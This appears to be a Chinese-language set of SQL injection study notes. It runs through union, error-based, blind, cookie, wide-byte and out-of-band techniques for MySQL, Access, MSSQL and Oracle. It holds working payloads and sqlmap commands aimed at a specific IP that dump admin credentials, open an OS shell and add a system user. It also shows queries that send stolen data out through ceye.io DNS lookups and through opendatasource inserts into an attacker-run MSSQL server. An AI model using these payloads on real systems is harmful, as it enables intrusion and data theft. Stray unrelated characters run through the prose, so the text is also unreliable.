sql 注入
1.盲注 (沒有回顯)
2.顯錯注入
3.報錯注入
顯錯注入-聯(lián)合查詢(Mysql數(shù)據(jù)庫)的基本流程
顯錯注入-聯(lián)合查詢
- 是否存在注入點(diǎn)
- 猜字段數(shù)
' order by 1...<根據(jù)第n個字段進(jìn)行排序>' 可以看出有多少字段;
- 聯(lián)合查詢尋找輸出點(diǎn)
知道字段數(shù)后,不知道返參是那個字段,這樣可用聯(lián)合查詢 ' union select 1,2,3,4 '
正常查詢根據(jù)id只顯示第一條數(shù)據(jù),可是聯(lián)合查詢會將聯(lián)合查詢值1234痊臭,顯示在的二條登夫;
這時需要將前面的數(shù)據(jù)排空:
正常查詢不到的值(id=9.9悼嫉、'and 1=2'<報錯語句>
limit 1,1 <從第一行數(shù)據(jù)取一個>
這樣就會顯示出查詢不到的值也就是的幾個到下一步(現(xiàn)在假設(shè)是第二個是回顯點(diǎn),后面的
select 1 ,2 ,3,4
中2這個參數(shù)才會顯示)
- 然后去系統(tǒng)自帶庫查詢庫名蹋凝、表名鳍寂、字段名
查庫名:
可以將上步查詢到的第幾個字段換成’database()<當(dāng)前庫名>‘ (ps. union select 1,database(),3,4)
查表名(1):
union select 1,table_name from information_schema.tables where table_schema ='上面得到的庫名' limit 0,1 (依次查詢)
<information_schema:系統(tǒng)自帶庫迄汛,mysql 5.0以上的版本內(nèi)置鞍爱。如tables表专酗,里面是數(shù)據(jù)庫中所有表和庫的對應(yīng)關(guān)系祷肯;table_schema系統(tǒng)自帶表>查表名(2):
union select 1,group_concat(table_name) from information_schema.tables where table_schema ='上面得到的庫名'
group_concat():多行數(shù)據(jù)拼接查字段名(1):
union select 1,column_name from information_schema.columns where table_schema ='上面得到的庫名' and table_name = '上面的表名' limit 1,1
查字段名(2):
union select 1,group_concat(column_name) from information_schema.columns where table_schema ='上面得到的庫名' and table_name = '上面的表名'
- 查詢我們需要的字段的值
根據(jù)上述信息可獲取數(shù)據(jù)庫中真實(shí)的值
union select 1,username <賬號密碼字段名> from <上面的表名>
- 回顯點(diǎn)顯示想要的內(nèi)容
數(shù)據(jù)庫語句必須閉合翼闹,’ --+ 或者 # ‘ 閉合單引號蒋纬;
很多時候 # 不會被瀏覽器解析 可使用 (%23);
`--+`是瀏覽器編碼 (空格會被替換成%20或者+)法牲;
`-- `就可閉合
古法
select * from news where id = 1 and 1=1;
select * from news where id = 1 and 1=2;
最簡單
在url最后面加
'
教程(注意語句間空格)
- 數(shù)字傳參可嘗試
-1
(www.xxx.com/new.php?id=1 and ...) 頁面顯示id=1的新聞拒垃;
(www.xxx.com/new.php?id=2-1 and ...)頁面顯示id=1的新聞悼瓮;
and 1=1 and 1=2
被攔截的可能性太高横堡,可嘗試and -1=-1 and -1=-2
or sleep(5)
sql 注入的常用工具
[匿名郵箱:]{https://bccto.me}
環(huán)境變量設(shè)置命贴,為了是cmd或者其他程序不需要路徑直接開啟程序 <環(huán)境變量的設(shè)置win:計(jì)算機(jī)>屬性>遠(yuǎn)程>高級>環(huán)境變量>在系統(tǒng)變量的變量’path‘的值中拼接 "胸蛛;需要程序的路徑"
sqlmap 基本操作:
- 存在注入:
sqlmap -u http://59.63.200.79:8003/?id=1
- 跑庫名:
sqlmap -u http://59.63.200.79:8003/?id=1 --dbs
- 跑表名:`sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe --tables'
- 指定表跑字段:
sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin --columns
- 獲取數(shù)據(jù):
sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C username,password --dump
直接跑出權(quán)限葬项,且getshell
sqlmap -u http://59.63.200.79:8001/single.php?id=1 --is-dba
:看dba的權(quán)限民珍,如果有權(quán)限則可能getshellsqlmap -u http://59.63.200.79:8001/single.php?id=1 --os-shell
:有權(quán)限嚷量,去shell- 會問到用什么語言寫的,按需求填寫:
4
- 最后獲得os shell
- 可直接輸入:
whoami
嗜历、ipconfig
、net user
部蛇、net user a b /add
(添加系統(tǒng)用戶a,密碼b)咐蝇、shutdown -t 0 -r
(關(guān)機(jī)重啟) 等cmd的命令
sqlmap 直接跑包: sqlmap -r /Users/test/Desktop/1.txt
sqlmap 清理緩存:sqlmap --flush-session
sqlmap 可以直接暴庫等查詢數(shù)據(jù)庫的東西
sqlmap 在url后面添加 --form 表示post請求
sqlmap 提高等級: sqlmap ... --level 3
sqlmap 知道閉合的時候可以:sqlmap -u http://59.63.200.79:8001/single.php?id=1")
里的")
就是閉合符號
Burpsuite 可以抓包;可以遍歷跟換字符;安裝證書后就可看到https的包內(nèi)容岛请;
BurpSuite 破解安裝
[ .yd8."X:Pw"T796akMZoi989H3W|n[-!]這個是burpsuite的官網(wǎng)密碼崇败,郵箱為475...
jdk百度網(wǎng)盤下載
mac 安裝jdk
burpsuite 下載1
burpsuite 下載2
可以跑數(shù)據(jù)包的方式后室,與sqlmap聯(lián)合,先將請求頭抓到后岸霹,保存到1.txt。此時如果知道哪里存在注入将饺,就在哪里參數(shù)值后面加 *
用抓包的方式跑post注入的優(yōu)點(diǎn):1.可以加 * 贡避,讓注入有重點(diǎn),不會出現(xiàn) --form 提交后出現(xiàn)破碎的數(shù)據(jù)予弧;2. 注入不一定在前臺刮吧,有可能在后臺,類似登錄狀態(tài)才會注入桌肴,也就是需要cookie
sqlmap.py -r c:/aaa/bbb/ccc/1.txt
post注入皇筛、head注入
post注入
經(jīng)典,萬能密碼
'or 1=1#
ps.
select * from user where username='admin' and password = 'admin'
;
賬號添加--+'
變形↓
select * from user where username='admin' --+' and password = 'admin'
;
變形↓將后面的注釋掉
select * from user where username='admin'
(表示登錄時坠七,只需要賬號就可以登錄成功)輸入內(nèi)容:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#
和get差不多拄踪,看前面工具介紹
head注入
updatexml()這個一般配合 and 或者 or,他和聯(lián)合查詢不同,不需要在意什么字段數(shù)
select * from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
但是要注意and情況下只要一個為false救恨,就會判定為false擎淤,and 后面的語句不執(zhí)行,所以建議使用or
某些沒有回顯盲注也可以用這個updatexml()做出來席吴。但是報錯一般有長度限制,不能輸出太長的數(shù)據(jù)迈倍,盡量不要使用group_concat().
【有些盲注也可以試試看報錯注入焕梅,因?yàn)橛械臅r候報錯注入的知名錯誤會顯示出來斜棚,數(shù)據(jù)庫只忽略普通報錯】
updatexml() 語法
更新xml文檔函數(shù)
updatexml(目標(biāo)xml內(nèi)容,xml文檔路徑,更新的內(nèi)容)
updatexml(1, concat(0x7e,(select database()),0x7e), 1)
實(shí)際上這里是去更新了xml文檔捶闸,但是我們在xml文檔路徑位置里面寫入了查詢兑牡,我們輸入的特殊字符硬耍,然后就因?yàn)椴环陷斎胍?guī)則報錯,但是報錯的時候他其實(shí)已經(jīng)執(zhí)行了那個子查詢代碼坯认!【0x7e實(shí)際是16進(jìn)制,MySQL支持16進(jìn)制,但是開頭得寫0x 0x7e是一個特殊符號淳附,然后不符合路徑規(guī)則報錯】
盲注
盲注的重要函數(shù)
length('abc')
:返回字符串長度
substr(str,pos,len)
:截取字符串
ascii()
:返回字符的ASCII碼,
sleep(5)
:將程序掛起一段時間
if(expr1,expr2,expr3)
:判斷語句草讶,如果第一個語句正確就執(zhí)行第二個語句如果錯誤執(zhí)行第三個語句
盲注邏輯:看頁面是否顯示正常坤溃,正常表示對了浇雹,錯誤表示不對烂完。先用大于小于判斷范圍,最后用==驗(yàn)證
select * from news where id=1 and
查庫名長度:當(dāng)臨界值顯示正常嘶窄,表名庫名的長度等于該值(此處表示長度為6)
select * from news where id=1 and length((select database()))==6
查庫名字符,判斷每一個字符漓拾,將每個字符截取出來并且轉(zhuǎn)成ASCII碼比較大小
select * from news where id=1 and ascii(substr((select database()),1,1))==70
這樣就可以得出每一個字符姜盈,最終得到庫名
接下來就和之前一樣馏颂,一個一個判斷出來一直到最后的內(nèi)容
使用burp suite的方式:
抓包后用跑包的方式,不用判斷各種大小剔宪,而是直接看返回包的大小得出想要的字符。
抓包->右鍵send intruder->clear->add->payloads->set=1,type=numbers->options->from:1,to:128(ascii只有128個),step:1->sets中的count無變化則在base 選hex后再選回來;開始跑包;
使用條件語句和掛起語句
select * from news where id=1 and if(ascii(substr(database(),1,1))>120,0,sleep(10))
表示庫名的字符如果>120,就不延遲,否則延遲。通過是否延遲來得出最后的結(jié)果
使用sqlmap
sqlmap.py -u http://aaa.bbb.ccc
會直接得出結(jié)果金赦,和有回顯的一樣
寬字節(jié)注入
在下列情況中使用:
- 存在魔術(shù)引號
- 要PHP編碼和數(shù)據(jù)庫不用猪半,數(shù)據(jù)庫非萬國碼 【常見的是GBK】
使用:
%df
或者漢
使用GBK編碼適用偷线,針對中國,其他的會有別的邓了。 輸入的內(nèi)容會被轉(zhuǎn)義掉 id=
漢子編碼方式有很多種骗炉,有三字節(jié)編碼方式和二字節(jié)編碼方式(GBK是二字節(jié)編碼)
select * from news where id='1\''
有轉(zhuǎn)義字符乍丈,
access cookie注入
- 判斷是否存在
- 參數(shù)在cookie中可以傳遞请垛,【www.xxx.zzz/id=1】=>【www.xx.zzz + cookie[id]=1】 顯示是一樣的镜雨,表示存在
- 看 cookie 拼接參數(shù)后是否可注入
- cookie注入的字符必須進(jìn)行url編碼
sqlmap 跑cookie注入
sqlmap.py -u "http://aaa.bbb.ccc/news.asp" --cookie "id=171" --level 2
- 在瀏覽器直接進(jìn)行操作有兩種方式
在F12后的Application->cookie 添加參數(shù)
在console中直接操作
document.cookie="id="+escape("171 and 1=1")
document.cookie="id="+escape("171 and 1=2")
document.cookie="id="+escape('171 union select 1,2,3,4,5,6 from admin')
偏移注入【有回顯點(diǎn)】
知道數(shù)據(jù)庫名诡挂,表名璃俗,不知道字段名的情況
要求:聯(lián)合查詢前的字段要大于聯(lián)合查詢后的字段
回顯3奴璃,5苟穆,7號 admin中有很多字段
document.cookie='id='+escape('171 union select 1,2,3,4,5,6,7 from admin')
偏移'171 union select admin.*,1,2,3,4,5,6,7 from admin')
;意思就是會將admin表中的第三個字段輸出到回顯點(diǎn)的3號位哎榴,回顯是幾热凹,就會顯示第幾個字段的值
再偏移'171 union select 1,2,admin.*,4,5,6,7 from admin')
;意思就是會將admin表中的第一個字段輸出到回顯點(diǎn)的3號位
MySQL dns注入
在某些無法直接利用漏洞獲取回顯的情況下鲜锚,但是目標(biāo)可以發(fā)起請求蔬捷,這個時候就可以通過dnslog將數(shù)據(jù)帶出來聪黎;對于sql盲注,常見的方法是一個一個猜惭笑,但是麻煩且會被ban沉噩。所以可以將select到的數(shù)據(jù)發(fā)送給一個url昼牛,利用dns解析產(chǎn)生的log查看數(shù)據(jù)
直接查詢一個文件 可將盲注轉(zhuǎn)為顯錯注入
使用函數(shù):load_file(‘c:/.../.../1/txt’)
讀取文件的函數(shù)
select load_file('../../../aaa/bb/1.txt')
返回查詢出的1.txt擴(kuò):
insert into table (fileId,UserId,value) values (1,2,load_file('/data/test.txt'))
表示直接將文件插入到數(shù)據(jù)庫中,掛東西敏感文件:
Linux: /etc/passwd win: c:/windows/win.ini
步驟:
在
ceye.io
注冊下廊佩,這個專門做dns的,手機(jī)號碼可以用阿里小號娜膘。最終會得到一個二級域名逊脯,在identifier中;該網(wǎng)站會記錄dns解析了一些什么東西隨時查看 DNS Query 竣贪,里面是dns的訪問日志军洼;ping的時候前面加隨便(泛解析)
xxx.xxx.xxx/a.php
在有狗的情況下繞狗(之一)xxx.xxx.xxx/a.php/1.txt
xxx.xxx.xxx/a.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.hp0zyr.ceye.io/abc.txt)))
解釋:讀取文件;獲取表名演怎;表名16進(jìn)制繞解析匕争;拼接dns服務(wù)的地址;在
ceye.io
中的dns日志中可以看到三級域名字符爷耀,就是最終要獲得的數(shù)據(jù)汗捡;
MSSQL 反彈注入 (別人訪問自己的服務(wù),對方是沒有日志的畏纲,只能用在SQL sever數(shù)據(jù)庫)
- MSSQL反彈注入場景
普通手法無法實(shí)現(xiàn)注入內(nèi)容扇住,通過mssql反彈實(shí)現(xiàn)注入
實(shí)際就是把查詢出來的數(shù)據(jù)發(fā)送到自己的mssql服務(wù)器上
- 搭建MSSQL環(huán)境
http://www.webweb.com
香港云,- 注冊用匿名郵箱,并試用
- 進(jìn)入到自己的主機(jī)
- 數(shù)據(jù)庫管理 ->
sql server管理
- 創(chuàng)建數(shù)據(jù)庫 (
記錄數(shù)據(jù)庫信息
盗胀,后期需要使用)- 得到數(shù)據(jù)庫的url
- 可在
sql server控制臺
艘蹋,輸入信息后操作數(shù)據(jù)庫- 可以在控制臺的
Run Query
用sql語句創(chuàng)建表- 這樣就有了一個sql server服務(wù)器,可以遠(yuǎn)程操作票灰,用來將別人的數(shù)據(jù)信息寫入自己的數(shù)據(jù)庫
- 語句
opendatasource(provider_name,init_string)
insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe
解釋:
provider_name:
注冊為用于訪問數(shù)據(jù)源的OLE DB提供程序的PROGID的名稱 MSSQL的名稱為SQLOLEDB
init_string:
鏈接字符串;
鏈接地址女阀、端口宅荤、用戶名、密碼浸策、數(shù)據(jù)庫名
server=鏈接地址url,端口;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名稱
連接上服務(wù)器后選定數(shù)據(jù)表DB_14ABC_AB_admin.dbo.表名
吧后面語句的查詢結(jié)果插入到那個表里面
- 靶場分析
select * from news where id='1' union all select 1,2,3 from news --qw
顯示錯誤冯键,字段不一定是數(shù)值類型,要用無類型接收
select * from news where id='1' union all select null,null,null from news --qw
執(zhí)行成功
select * from news where id='1' union all select null,null,1 from news --qw
開始判斷回顯點(diǎn)庸汗,但是錯誤惫确,表示1
不是數(shù)值類型,是字符串
select * from news where id='1' union all select null,null,abc from news --qw
出現(xiàn)回顯點(diǎn)需要庫名蚯舱、表名改化、字段名;語句解釋:
select * from dbo.sysdatabases
:查詢系統(tǒng)庫select * from dbo.sysobjects
:查詢系統(tǒng)表(xtype='U') ->select * from dbo.sysobjects where xtype = 'U'
U:用戶創(chuàng)建的表枉昏;S:系統(tǒng)創(chuàng)建的表select * from dbo.syscolumns
:查詢字段(id=)指定sysobjects庫中表名對應(yīng)的id 陈肛;ID 為上個查詢語句,查表明的時候回返回這個id值
測出三個回顯點(diǎn)都是什么類型的
需要id是數(shù)值類型的兄裂,表名是字符類型的
http://aaa.aaa.aaa/?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- qwe
不用查庫句旱,直接查表,得到表名和idhttp://aaa.aaa.aaa/?id=1' union all select null,name,null from dbo.syscolumns where id='id' -- qwe
得到字段名http://aaa.aaa.aaa/?id=1' union all select null,字段,null from 表名 -- qwe
得到字段名- 使用反彈:(
注意自己服務(wù)器的字段數(shù)量和侵入數(shù)據(jù)的字段數(shù)量晰奖,可以多建幾個表谈撒,在不同的表之間切換
)
http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe
知道表名的情況下,但是這種沒有意義;所以變形↓http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select id,name from dbo.sysobjects where xtype='U' -- qwe
這個是在自己的服務(wù)上知道了畅涂,表名和表的id港华;然后再查詢表中的字段http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select name,null from dbo.syscolumns where id=自己服務(wù)上的id -- qwe
這個是在自己的服務(wù)上知道了道川,字段名午衰;重復(fù)第一步,得到最后數(shù)據(jù)冒萄;
Oracle注入 報錯注入 主要是語法和MySQL不一樣臊岸,過程還是一樣的
- 注入函數(shù)
- 報錯注入、聯(lián)合查詢(union all)
查詢所有的表
select * from all_tables
所有表
select * from all_tables
- 演示:
- 基本操作
select 1,2,3 from dual
dual是強(qiáng)行格式化尊流,為了滿足oracle數(shù)據(jù)庫嚴(yán)謹(jǐn)?shù)恼Z法
select dbms_random.random from dual
產(chǎn)生隨機(jī)數(shù)
select user from dual
當(dāng)前用戶名
select 9+1 from dual
可以運(yùn)算
select * from all_tables
查詢?nèi)康谋?br>select * from all_tables where owner='當(dāng)前用戶名'
用戶名下的表
select * from user_tables
當(dāng)前用戶名下的表帅戒,和上面一樣的效果
select * from user_tab_columns
當(dāng)前用戶下的所有字段
select * from user_tab_columns where rownum=1
相當(dāng)于limit 0,1
select * from user_tab_columns where rownum<3
相當(dāng)于limit 0崖技,2
select * from user_tab_columns where rownum=1 and column_name!='id'
其中:<>
和!=
不等于的意思
select * from v$version
版本報錯注入函數(shù)
Ctxsys.drithsx.sn(user,(select banner from v$version where rownum=1))
去查詢關(guān)于主題的對應(yīng)關(guān)鍵詞逻住,然后因?yàn)椴樵兪。☉?yīng)該是這個用戶沒有創(chuàng)建和查詢權(quán)限迎献,默認(rèn)情況沒有創(chuàng)建瞎访,爆出未查詢到的錯誤,從而爆出查詢的內(nèi)容)
使用步驟:
http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- qwe
:得到news表
http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'NEWS')) -- qwe
:得到除了news的表